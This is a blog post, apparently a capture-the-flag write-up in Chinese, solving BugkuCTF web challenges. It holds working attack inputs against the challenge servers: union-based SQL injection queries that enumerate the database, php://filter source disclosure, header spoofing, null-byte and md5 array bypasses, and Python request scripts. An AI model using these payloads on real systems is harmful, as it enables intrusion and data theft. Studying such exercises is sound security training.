BugkuCTF---web

---------WEB----------

web2:

查看源码

 

计算器:

更改参数值-----maxlength="1"

 

 

 web基础$_GET:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

定义 http://123.206.87.240:8002/get/?what=flag

 

web基础$_POST:

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

 

 

 

 

 

 

 

矛盾:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

观察if(!is_numeric($num))应该是截断 http://123.206.87.240:8002/get/index1.php?num=1%00

 

web3:

查看源码

 

直接HTML解码

 

 

 

 域名解析:

 

 修改host文件

 

 再次访问http://flag.baidu.com/即可得到flag

 

你必须让他停下:

BP抓包重发即可

 

 

变量1:

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

前面直接include了flag1.php,这里的意思就是把这个文件中的代码导进来,所以猜测flag应该是一个变量。
后面isset需要变量是已经定义的,同时后面的正则\w,匹配字母或数字或下划线或汉字。
结尾的\$\$ args代表了可变变量,也就是假如arg是一个变量名,\$\$ args则代表了另一个变量。
那么猜测arg是全局变量GLOBALS

构造url:http://123.206.87.240:8004/index1.php?args=GLOBALS
返回的结果:

 

 web5:

 

 查看源码

 

 放在控制台解码

 

 得到ctf{whatfk}将其大写后填写即可

 

 

 头等舱:

进去之后这样显示

 

 BP抓包即可

 

 

 

网站被黑:

御剑扫描

 

发现后台url打开

 

 

 

BP暴力破解

 

 

 管理员系统:

在请求头添加X-Forwarded-For:127.0.0.1

 

 

 

 BP发现

 

 <!-- dGVzdDEyMw== -->

base64解码得到test123

 

BP修改参数即可得到flag

 

web4:

 

 源码发现一大堆东西

 

此提示拼接 eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))

完成后解码得到

 

由此得出 if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;

67d709b2b54aa2aa648cf6e87a7114f1将其输入提交即可得到flag

 

 

flag在index里:

进去之后显示

 

 

 

 查看源码并没有什么

此时这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php

解释此协议含义:首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

继续做题:

在url中添加 http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64解码即可得到flag

输入密码查看flag:

 

 思路:BP爆破即可获取flag

 

 点击一百万次:

审核JS代码

 

 

 

使用POST传递clicks参数

将clicks=1000000即可得到flag

 

 备份是个好习惯:

打开后是这样

 

 备份是个好习惯  于是我们在url中添加index.php.bak然后得到php代码

 

 现将得到的d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e用md5解码看看得到空

 

 从上述php代码中将get的两个参数中的key替换为空,用kekeyy绕过,然后对key1,key2的值进行md5加密

即:http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=a

 

 成绩单:

 

 应该是sql注入 POST

 

POST传递参数     id=-1' union select 1,2,3,database()# 返回数据库为skctf_flag

 

 

 继续查询表id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

暴字段id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#

 

最后查表内容id=-1' union select 1,2,3,skctf_flag from fl4g#

 

 

 秋名山老司机:

用python脚本计算即可

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)

 

 

 

 速度要快:

用BP抓包发现此flag一直变

使用脚本自动上传了

import requests
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的


flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去

cookie欺骗:

url末尾为base64加密

解密为key.txt

将index.php   base64加密得到aW5kZXgucGhw

再次url访问无结果

line定义字段出现结果python脚本跑一下

import requests
for i in range(1,50):
    url="http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw".format(i)
    a=requests.get(url)
    print(a.text)

得到

 

 

 最后将keys.phpbase64加密,cookie定义margin=margin即可得到flag

 

posted @ 2019-12-29 21:56  FlawlessM  阅读(301)  评论(0编辑  收藏  举报